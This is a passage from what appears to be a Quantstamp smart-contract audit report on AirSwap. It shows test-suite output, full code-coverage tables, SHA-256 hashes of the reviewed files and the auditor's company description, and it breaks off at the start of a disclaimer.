Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of 